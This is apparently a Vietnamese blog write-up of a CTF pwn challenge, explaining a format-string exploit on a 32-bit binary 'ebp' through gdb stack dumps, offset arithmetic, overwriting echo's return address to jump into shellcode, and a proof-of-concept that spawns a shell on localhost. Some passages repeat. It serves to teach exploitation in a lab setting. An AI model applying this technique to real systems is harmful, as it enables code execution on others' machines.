$ file ebp
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped
Test:
$ ./ebp
phieulang
phieulang
%p%p%p
0xa0x1(nil)
=> Format string.
Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.
NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.
Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.
Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4
0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12
POC:
Full Payload: ebp.py
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial ------------------------------------------------------------------ int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@3 while ( 1 ) { result = fgets(buf, 1024, stdin); if ( !result ) break; echo(); } return result; } ------------------------------------------------------------------ int echo() { make_response(); puts(response); return fflush(stdout); } ------------------------------------------------------------------ int make_response() { return snprintf(response, 1024u, buf); } ------------------------------------------------------------------ .bss:0804A080 ; char buf[1024] .bss:0804A080 buf db 400h dup(?) ; DATA XREF: make_response+6 o .bss:0804A080 ; main+21 o .bss:0804A480 public response .bss:0804A480 ; char response[1024] .bss:0804A480 response db 400h dup(?)
Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.
NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.
Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
- Ghi đè ret?
- Ghi đè GOT?
- Ghi đè _fini_array?
Mình không break được vòng lặp ở main => loại phương án ghi đè _fini_array (bạn nào break được thì chỉ mình với).
=> 0x804851a <make_response+29>: call 0x80483f0 <snprintf@plt> Breakpoint 1, 0x0804851a in make_response () gdb-peda$ x/30wx $esp 0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a 0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11) 0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000 0xffffd1a0: 0x00000000 0x00000000 0xffffd1c8 0x08048557 (main+16) 0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000 0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.
Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1c8 0x08048557 (main+16)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
- Ta thay đổi giá trị con trỏ để trỏ về địa chỉ ret. (0xffffd1a8 -> 0xffffd1ac (ret_of_echo) )gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1ac 0x08048557 (main+16)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
- Ta tiếp tục thay đổi giá trị của địa chỉ ret về buf. (0xffffd1ac -> buf 0x0804A080)gdb-peda$ x/30wx $esp
0xffffd170: 0x0804a480 0x00000400 0x0804a080 0x0000000a
0xffffd180: 0x00000001 0x00000000 0xffffd1a8 0x0804852c (echo+11)
0xffffd190: 0xf7fc3ac0 0xf7ff04c0 0xffffd1f4 0xf7fc3000
0xffffd1a0: 0x00000000 0x00000000 0xffffd1ac 0x0804A080 (buf)
0xffffd1b0: 0x0804a080 0x00000400 0xf7fc3c20 0xf7fc3000
0xffffd1c0: 0x08048580 0x00000000 0x00000000 0xf7e31af3 (__libc_start_main+243)
Mỗi lần ta chỉ cần ghi 2 bytes là đủ.
Vậy là xong ý tưởng.Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4
0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12
POC:
$ python ebp.py [+] Opening connection to 127.0.0.1 on port 8888: Done debug? [*] Switching to interactive mode 1���Qh//shh/bin\x89� $ id uid=1000(phieulang) gid=1000(phieulang) groups=1000(phieulang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare) $
Full Payload: ebp.py
Không có nhận xét nào:
Đăng nhận xét